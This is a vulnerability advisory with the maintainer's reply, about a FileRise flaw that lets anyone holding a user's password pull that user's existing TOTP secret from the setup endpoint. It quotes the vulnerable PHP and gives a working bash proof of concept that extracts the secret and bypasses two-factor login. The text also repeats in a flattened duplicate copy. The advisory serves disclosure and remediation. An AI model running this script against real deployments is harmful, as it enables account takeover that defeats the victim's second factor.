Summary
/api/totp_setup.php is callable from a session that has only passed the password check (state pending_login_user). When the target account already has TOTP configured, the endpoint decrypts and returns the user's existing TOTP secret inside the QR PNG instead of refusing or generating a new secret. An attacker who already possesses the victim's password can therefore retrieve the live TOTP secret, derive a valid one-time code, submit it to /api/totp_verify.php, and obtain a fully authenticated session without ever possessing the victim's authenticator device.
The vulnerability is gated entirely by knowledge of the password; it is not an unauthenticated takeover. Its impact is that TOTP provides no additional defense once the password is compromised (credential stuffing, breach reuse, phishing, keylogger, or weak-password brute force) — i.e., the threat 2FA exists to mitigate.
Details
Root cause
Three code paths combine.
-
Pending-login authority accepted at the setup gate — src/FileRise/Http/Controllers/UserController.php:529-537:
if (!( (isset($_SESSION['authenticated']) && $_SESSION['authenticated'] === true)
|| isset($_SESSION['pending_login_user']) )) {
http_response_code(403);
echo json_encode(["error" => "Not authorized to access TOTP setup"]);
exit;
}
-
Existing secret re-emitted instead of refused — src/FileRise/Domain/UserModel.php:817-854:
$totpSecret = null;
foreach ($lines as $line) {
$parts = explode(':', trim($line));
if (count($parts) >= 4 && strcasecmp($parts[0], $username) === 0 && !empty($parts[3])) {
$totpSecret = decryptData($parts[3], $encryptionKey); // existing secret
break;
}
}
if (!$totpSecret) {
$totpSecret = $tfa->createSecret();
}
$otpauthUrl = "otpauth://totp/{$label}?secret={$totpSecret}&issuer={$issuer}";
// embedded into the returned QR PNG
-
Pending-login state is set after a correct password — src/FileRise/Http/Controllers/AuthController.php:555-562:
if (!empty($user['totp_secret'])) {
$_SESSION['pending_login_user'] = $username;
$_SESSION['pending_login_secret'] = $user['totp_secret'];
echo json_encode(['totp_required' => true]);
exit();
}
PoC
#!/usr/bin/env bash
TARGET="http://127.0.0.1:8080"
USERNAME="admin"
PASS="Abcd1234!"
# Step 1 — submit the password only; server enters pending_login_user state
curl -sk -c j -X POST "$TARGET/api/auth/auth.php" \
-H 'Content-Type: application/json' \
-d "{\"username\":\"$USERNAME\",\"password\":\"$PASS\"}"
printf "\n"
# expected: {"totp_required":true}
# Step 2 — fetch a CSRF token from the unauthenticated endpoint
CSRF=$(curl -sk -b j "$TARGET/api/auth/token.php" | jq -r .csrf_token)
# Step 3 — pull the TOTP setup QR from the pending-login session
curl -sk -b j -H "X-CSRF-Token: $CSRF" \
"$TARGET/api/totp_setup.php" -o qr.png
printf "\n"
# expected: HTTP 200, image/png, QR encodes:
# otpauth://totp/FileRise%3A<username>?secret=<RAW_SECRET>&issuer=FileRise
# Step 4 — recover the secret and derive the current TOTP
SECRET=$(zbarimg --raw qr.png | sed -E 's/.*secret=([A-Z2-7]+).*/\1/')
CODE=$(oathtool --totp -b "$SECRET")
printf 'Secret: %s\n' "$SECRET"
printf 'Code: %s\n' "$CODE"
# Step 5 — submit the code; persist the new PHPSESSID issued on success
curl -sk -b j -c j -X POST "$TARGET/api/totp_verify.php" \
-H 'Content-Type: application/json' \
-H "X-CSRF-Token: $CSRF" \
-d "{\"totp_code\":\"$CODE\"}"
printf "\n"
# expected: {"status":"ok","success":"Login successful","username":"<username>",...}
# Step 6 — confirm the session is fully authenticated
curl -sk -b j "$TARGET/api/auth/checkAuth.php"
printf "\n"
# expected: {"authenticated":true,"username":"<username>","totp_enabled":true}
Impact
- TOTP provides no additional protection beyond the password for any account in the default deployment. An attacker who obtains the password through any external channel (credential stuffing, breach reuse, phishing, keylogger, brute force on weak passwords) gains a fully authenticated session without ever possessing the authenticator device.
- The attacker walks away with the long-lived TOTP secret, not a single replayed code, and can re-enter the account at will until the legitimate user re-enrols.
- The exploit is silent: the secret is not rotated, the user's authenticator app keeps producing valid codes, and there is no in-product notification.
- If an administrator's password is known and that admin has TOTP enabled, the attacker gains full administrative control of the FileRise instance — every file, every user, every config — including any encrypted-folder material the admin can decrypt.
Maintainer Response
Thanks for the report and for the detailed reproduction steps.
I validated the issue in the TOTP setup path. The root cause was that /api/totp_setup.php and /api/profile/totp_setup.php allowed access from a password-only pending-login session, and the setup model reused an already configured TOTP secret when building the QR code. That meant an attacker who already knew a user's password could retrieve the live TOTP enrollment secret and complete the second-factor step without possessing the user's authenticator device.
The fix is prepared for FileRise v3.12.0.
The change is:
- TOTP setup now requires a fully authenticated profile session, not a pending-login session
- password-only pending-login sessions can still submit a TOTP code to complete login, but cannot access the TOTP setup QR endpoint
UserModel::setupTOTP() now refuses accounts that already have a stored TOTP secret instead of decrypting and re-emitting that secret in a QR payload
- first-time TOTP setup for an authenticated user without an existing secret still generates a new secret and QR code
I also added regression coverage for the existing-secret case and re-ran the security regression script:
php -l passed for the changed PHP files
php FileRiseClean/tests/security/auth_security_regressions.php passed
- a pending-login session calling the setup controller now receives an authorization error instead of
image/png
- a model-level setup call for an account with an existing TOTP secret now returns
409 and does not return QR image data
I agree the report is valid and High severity.
Thanks again for reporting it responsibly.
Summary
/api/totp_setup.phpis callable from a session that has only passed the password check (statepending_login_user). When the target account already has TOTP configured, the endpoint decrypts and returns the user's existing TOTP secret inside the QR PNG instead of refusing or generating a new secret. An attacker who already possesses the victim's password can therefore retrieve the live TOTP secret, derive a valid one-time code, submit it to/api/totp_verify.php, and obtain a fully authenticated session without ever possessing the victim's authenticator device.The vulnerability is gated entirely by knowledge of the password; it is not an unauthenticated takeover. Its impact is that TOTP provides no additional defense once the password is compromised (credential stuffing, breach reuse, phishing, keylogger, or weak-password brute force) — i.e., the threat 2FA exists to mitigate.
Details
Root cause
Three code paths combine.
Pending-login authority accepted at the setup gate —
src/FileRise/Http/Controllers/UserController.php:529-537:Existing secret re-emitted instead of refused —
src/FileRise/Domain/UserModel.php:817-854:Pending-login state is set after a correct password —
src/FileRise/Http/Controllers/AuthController.php:555-562:PoC
Impact
Maintainer Response
Thanks for the report and for the detailed reproduction steps.
I validated the issue in the TOTP setup path. The root cause was that
/api/totp_setup.phpand/api/profile/totp_setup.phpallowed access from a password-only pending-login session, and the setup model reused an already configured TOTP secret when building the QR code. That meant an attacker who already knew a user's password could retrieve the live TOTP enrollment secret and complete the second-factor step without possessing the user's authenticator device.The fix is prepared for
FileRise v3.12.0.The change is:
UserModel::setupTOTP()now refuses accounts that already have a stored TOTP secret instead of decrypting and re-emitting that secret in a QR payloadI also added regression coverage for the existing-secret case and re-ran the security regression script:
php -lpassed for the changed PHP filesphp FileRiseClean/tests/security/auth_security_regressions.phppassedimage/png409and does not return QR image dataI agree the report is valid and High severity.
Thanks again for reporting it responsibly.